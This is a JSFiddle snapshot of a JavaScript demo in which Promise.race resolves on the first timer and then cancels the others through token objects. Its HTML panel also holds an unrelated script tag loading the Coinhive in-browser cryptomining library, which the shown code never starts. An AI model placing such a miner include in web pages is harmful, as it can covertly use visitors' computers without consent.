JSFiddle - React, Tailwind, and code Playground
HTML
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
JavaScript
function wait(ms, token){
return new Promise(function(resolve){
var t = setTimeout(function(){
console.log('waited ', ms);
resolve();
}, ms);
token.cancel = function(){
clearTimeout(t);
}
})
}
var tokens = [{},{},{}];
promise1 = wait(3000,tokens[0]);
promise2 = wait(2000,tokens[1]);
promise3 = wait(5000,tokens[2]);
listPromise = [promise1, promise2,promise3];
var p = Promise.race(listPromise).then(function(){
console.log("Very first promise has resolved!");
for(var i = 0; i< listPromise.length; i++)
tokens[i].cancel();
})